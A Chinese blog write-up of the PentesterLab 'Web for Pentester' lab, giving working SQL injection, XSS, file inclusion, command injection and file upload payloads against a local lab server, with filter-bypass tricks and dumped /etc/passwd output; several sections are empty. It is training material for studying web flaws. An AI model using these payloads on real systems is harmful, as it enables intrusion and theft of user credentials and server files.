美文网首页
Web for pentester

Web for pentester

作者: JasonChiu17 | 来源:发表于2018-02-28 23:38 被阅读260次

    web漏洞原理


    SQL注入

    Example 1

    无过滤,单引号字符类型注入

    http://192.168.153.131/sqli/example1.php?name=root'
    http://192.168.153.131/sqli/example1.php?name=root' and 1=1 --%20
    http://192.168.153.131/sqli/example1.php?name=root' and 1=2 --%20
    http://192.168.153.131/sqli/example1.php?name=root' order by 5--%20
    http://192.168.153.131/sqli/example1.php?name=root' union select 1,2,3,4,5--%20
    http://192.168.153.131/sqli/example1.php?name=root' union select concat_ws(0x7c,user(),database()),2,3,4,5--%20
    http://192.168.153.131/sqli/example1.php?name=root' union select table_name,2,3,4,5 from information_schema.tables where table_schema='exercises' --%20
    http://192.168.153.131/sqli/example1.php?name=root' union select column_name ,2,3,4,5 from information_schema.columns where table_name='users'--%20
    http://192.168.153.131/sqli/example1.php?name=root' union select 1,2,concat_ws(0x7c,id,name,passwd,age,groupid),4,5 from users--%20
    
    

    Example 2

    过滤了空格,绕过空格:
    1.水平制表(HT) url编码:%09:/t的ascii是9
    2.注释绕过空格 http://192.168.153.131/sqli/example2.php?name=root'/**/and/**/1=1/**/%23

    1. 括号绕过空格http://192.168.153.131/sqli/example2.php?name=root'and(1=2)%23
    http://192.168.153.131/sqli/example2.php?name=root'
    http://192.168.153.131/sqli/example2.php?name=root'%09and%091=1%09--%09
    http://192.168.153.131/sqli/example2.php?name=root'%09and%091=2%09--%09
    http://192.168.153.131/sqli/example2.php?name=root'%09union%09select%091,2,3,4,5%09--%09
    http://192.168.153.13/sqli/example2.php?name=root'%09union%09select%09table_name,2,3,4,5%09from%09information_schema.tables%09where%09table_schema='exercises'%09--%09
    

    Example 3

    过滤了空格,制表符,但是可以用注释绕过
    http://192.168.153.131/sqli/example3.php?name=root'/**/and/**/1=1/**/%23

    Example 4

    数值型注入,过滤了单引号,所以有个payloadhttp://192.168.153.131/sqli/example4.php?id=3 union select table_name,2,3,4,5 from information_schema.tables where table_schema='exercises'%23会无效。

    http://192.168.153.131/sqli/example4.php?id=3  and 1=1 %23
    http://192.168.153.131/sqli/example4.php?id=3  and 1=2 %23
    http://192.168.153.131/sqli/example4.php?id=3  union select 1,2,3,4,5 %23
    http://192.168.153.131/sqli/example4.php?id=3  union select table_name,2,3,4,5 from information_schema.tables where table_schema=database()%23
    http://192.168.153.131/sqli/example4.php?id=3  union select column_name,2,3,4,5 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database())%23
    http://192.168.153.131/sqli/example4.php?id=3  union select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23
    

    Example 5

    PentesterLab中提到,确保id是以数字开头,则payload如example 4一样。

    if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    

    Example 6

    id要以数字结尾,在payload最后加上数字即可。

    if (!preg_match('/[0-9]+$/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
    }
    

    http://192.168.153.131/sqli/example6.php?id=2 union select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23 1
    ···

    Example 7

    if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");    
    }
    

    -?的意思:没有或只有一个“-”号。
    模式修饰符m (PCRE_MULTILINE),默认情况下,PCRE 认为目标字符串是由单行字符组成的,匹配\n之前的部分。语句的意思是:多行修饰符只会验证其中一行仅包含一个整数或(-整数),因此下列值将是有效的:

    123\nPAYLOAD;
    PAYLOAD\n123;
    PAYLOAD\n123\nPAYLOAD.
    
    http://192.168.153.131/sqli/example7.php?id=1%0aunion select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23
    

    Example 8

    http://192.168.153.131/sqli/example8.php?order=name`  asc %23
    http://192.168.153.131/sqli/example8.php?order=name`  desc %23
    

    以上两者返回内容不同,说明源码中是order by `name`
    反单引号 ` 是 SQL 的转义符,所以要闭合反单引号。但是order by 和union不能一起使用,参考文章,我们用时间盲注的方法一个个猜解:

    http://192.168.153.131/sqli/example8.php?order=name` xor if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
    

    Example 9

    http://192.168.153.131/sqli/example9.php?order=name asc %23
    http://192.168.153.131/sqli/example9.php?order=name desc %23
    

    返回内容不同,说明源码中是order by name
    不需要反单引号闭合:

    http://192.168.153.131/sqli/example9.php?order=name  xor if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
    
    

    或者:

    http://192.168.153.131/sqli/example9.php?order=if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
    

    XSS

    Example 1

    没有任何过滤。
    payload:http://192.168.153.131/xss/example1.php?name=hacker<script>alert(1)<script>

    Example 2

    过滤了<script>,</script>,大小写不敏感。

    vcx.png-25.5kBvcx.png-25.5kB
    payload:http://192.168.153.131/xss/example2.php?name=hacker<Script>alert(1)</Script>

    Example 3

    过滤了script,<script>,</script>,大小写敏感,试试双写绕过。
    payload:http://192.168.153.131/xss/example3.php?name=hacker<s<script>cript>alert(1)</s</script>cript>

    Example 4

    检测到字符script就报错,试试其他标签:
    payload:http://192.168.153.131/xss/example4.php?name=hackers<img src=1 onerror=alert(1)>

    Example 5

    过滤了alert,但是<script>没过滤;

    alert() 弹出个提示框 (确定) 
    confirm() 弹出个确认框 (确定,取消) 
    prompt() 弹出个输入框 让你输入东西
    

    payload:
    http://192.168.153.131/xss/example5.php?name=hackers<script>prompt(1)</script>
    http://192.168.153.131/xss/example5.php?name=hackers<script>confirm(1)</script>

    Example 6

    查看页面源码可以看到,输入的参数直接嵌入到javascript脚本中去了:

    <script>
        var $a= "hacker";
    </script>
    
    

    payload:http://192.168.153.131/xss/example6.php?name=hacker";alert(1);//
    变成:

    <script>
        var $a= "hacker";alert(1);//";
    </script>
    

    Example 7

    查看页面源码可以看到,输入的参数直接嵌入到javascript脚本中去了,但是是单引号闭合:

    <script>
        var $a= 'hacker';
    </script>
    
    

    payload:http://192.168.153.131/xss/example6.php?name=hacker';alert(1);//
    变成:

    <script>
        var $a= 'hacker';alert(1);//";
    </script>
    

    Example 8

    页面源码:

    <form action="/xss/example8.php/" method="POST">
      Your name:<input type="text" name="name" />
      <input type="submit" name="submit"/>
    

    payload:http://192.168.153.131/xss/example8.php/" onsubmit="alert('1')
    页面源码:

    <form action="/xss/example8.php/" onsubmit="alert('1')" method="POST">
      Your name:<input type="text" name="name" />
      <input type="submit" name="submit"/>
    

    此时输入alert('1'),弹窗。
    payload:http://192.168.153.131/xss/example8.php/"method="POST"><script>alert(1)</script>
    页面源码:

    <form action="/xss/example8.php/"method="POST"><script>alert(1)</script>" method="POST">
      Your name:<input type="text" name="name" />
      <input type="submit" name="submit"/>
    

    直接弹窗。

    Example 9

    File Include

    Example 1

    源码:

    <?php require_once '../header.php'; ?>
    
    
    <?php
    
        if ($_GET["page"]) {
            include($_GET["page"]);
    
        } 
    
    
    
    ?>
    
    <?php require_once '../footer.php'; ?>
    

    http://192.168.153.131/fileincl/example1.php?page=../../phpinfo.php
    报错:

    Warning: include(../../phpinfo.php): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '../../phpinfo.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
    
    © PentesterLab 2013
    

    得到物理路径:/var/www/fileincl/example1.php,这是一个linux系统,输入:
    http://192.168.153.131/fileincl/example1.php?page=/etc/passwd
    /etc/passwd 的内容显示出来:

    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin openldap:x:103:106:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
    
    © PentesterLab 2013
    

    Example 2

    源码:

    <?php require_once '../header.php'; ?>
    
    <?php
        if ($_GET["page"]) {
        $file = $_GET["page"].".php";
        // simulate null byte issue
        $file = preg_replace('/\x00.*/',"",$file);
            include($file);
    
        } 
    
    
    
    ?>
    
    <?php require_once '../footer.php'; ?>
    

    输入http://192.168.153.131/fileincl/example2.php?page=/etc/passwd

    Warning: include(/etc/passwd.php): failed to open stream: No such file or directory in /var/www/fileincl/example2.php on line 8 Warning: include(): Failed opening '/etc/passwd.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example2.php on line 8
    
    © PentesterLab 2013
    
    

    发现输入什么,就会加后缀.php,利用00截断:(官方提示可以在后面添加&blah=或者?blah=,表示空字节)
    http://192.168.153.131/fileincl/example2.php?page=/etc/passwd%00
    这里是在url添加.php,所以只需要在url添加%00,在浏览器译码的时候产生截断,用Burpsuite修改的话是不行的,因为抓到的包已经完成浏览器的译码操作了。

    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin openldap:x:103:106:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
    
    © PentesterLab 2013
    
    

    文件包含漏洞的利用(以example2为例):
    1.文件包含漏洞可以注入代码,造成代码执行漏洞:
    示例1:(php://input)

    asf.png-70kBasf.png-70kB

    示例2:(远程文件包含)

    sdga.png-68.5kBsdga.png-68.5kB
    http://192.168.0.115/phpinfo.php 代码:
    <?php phpinfo()?>

    示例3:(data:协议)


    kljk.png-61.7kBkljk.png-61.7kB

    2.文件包含漏洞可以读取源码:
    利用php://filter:
    http://192.168.153.131/fileincl/example2.php?page=php://filter/read=convert.base64-encode/resource=example2.php%00

    jk;.png-39.9kBjk;.png-39.9kB

    example2的base64源码解码:

    <?php require_once '../header.php'; ?>
    
    <?php
        if ($_GET["page"]) {
        $file = $_GET["page"].".php";
        // simulate null byte issue
        $file = preg_replace('/\x00.*/',"",$file);
            include($file);
    
        } 
    
    
    
    ?>
    
    <?php require_once '../footer.php'; ?>
    

    Code injection

    Example 1

    Example 2

    Example 3

    Commands injection

    方法:(需要编码)

    1.ip&command 
    2.ip&&command(第一个命令正确才会执行第二个命令)
    3.ip|command
    4.ip||command(第一个命令错误才会执行第二个命令)
    

    Example 1

    asgga.png-54.5kBasgga.png-54.5kB

    Example 2

    正则表达式的模式是匹配多行的,可以用/n来跳过正则陪匹配:

    dsg.png-63.3kBdsg.png-63.3kB

    Example 3

    发现有重定向302,抓包看一下:


    ipo.png-169.5kBipo.png-169.5kB

    File Upload

    Example 1

    没有任何过滤,直接上传php文件:
    <?php phpinfo();?>
    造成代码执行。

    Example 2

    过滤了.php,使用.php3后缀成功上传:

    gda.png-68kBgda.png-68kB

    Directory traversal

    Example 1

    Example 2

    Example 3

    LDAP attacks

    Example 1

    Example 2

    XML attacks

    Example 1

    Example 2

    相关文章

      网友评论

          本文标题:Web for pentester

          本文链接:https://www.haomeiwen.com/subject/vsaixftx.html